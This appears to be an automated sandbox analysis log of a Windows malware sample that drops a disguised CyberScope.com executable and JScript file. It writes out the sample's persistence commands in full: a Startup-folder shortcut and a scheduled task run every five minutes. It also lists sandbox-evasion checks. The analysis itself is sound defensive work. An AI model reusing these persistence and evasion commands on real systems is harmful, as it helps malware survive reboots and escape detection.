Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberScope.url" & echo URL="C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberScope.url" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Config" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js'" /sc minute /mo 5 /F	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com" "C:\Users\user\AppData\Local\SecureScope Dynamics\r"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com" "C:\Users\user\AppData\Local\SecureScope Dynamics\r"	Jump to behavior

Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Section loaded: wldp.dll	Jump to behavior

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: nikDoCvpJa.exe

Static file information: File size 1798791 > 1048576

Source: nikDoCvpJa.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: nikDoCvpJa.exe

Static PE information: real checksum: 0x1bd2b5 should be: 0x1b99a6

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001E02DB push cs; retn 001Dh		19_2_001E0318
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B0DE6 push ecx; ret		19_2_001B0DF9

Persistence and Installation Behavior

Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	File created: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\638933\Beth.com			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	File created: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\638933\Beth.com			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Config" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js'" /sc minute /mo 5 /F

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberScope.url

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberScope.url

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_002226DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		19_2_002226DD
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001AFC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		19_2_001AFC7C

Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_19-105252

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Window / User API: threadDelayed 2912	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Window / User API: threadDelayed 6509	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Window / User API: foregroundWindowGot 1769	Jump to behavior

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

API coverage: 4.1 %

Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com TID: 4308	Thread sleep time: -143500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com TID: 1532	Thread sleep time: -8736000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com TID: 1532	Thread sleep time: -19527000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,	0_2_00406301
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406CC7
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_0020A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_0020A087
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_0020A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_0020A1E2
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001FE472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	19_2_001FE472
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_0020A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	19_2_0020A570
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001CC622 FindFirstFileExW,	19_2_001CC622
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_002066DC FindFirstFileW,FindNextFileW,FindClose,	19_2_002066DC
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_00207333 FindFirstFileW,FindClose,	19_2_00207333
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_002073D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	19_2_002073D4
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001FD921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_001FD921
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001FDC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_001FDC54

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_00195FC8 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

19_2_00195FC8

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\638933	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\638933\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

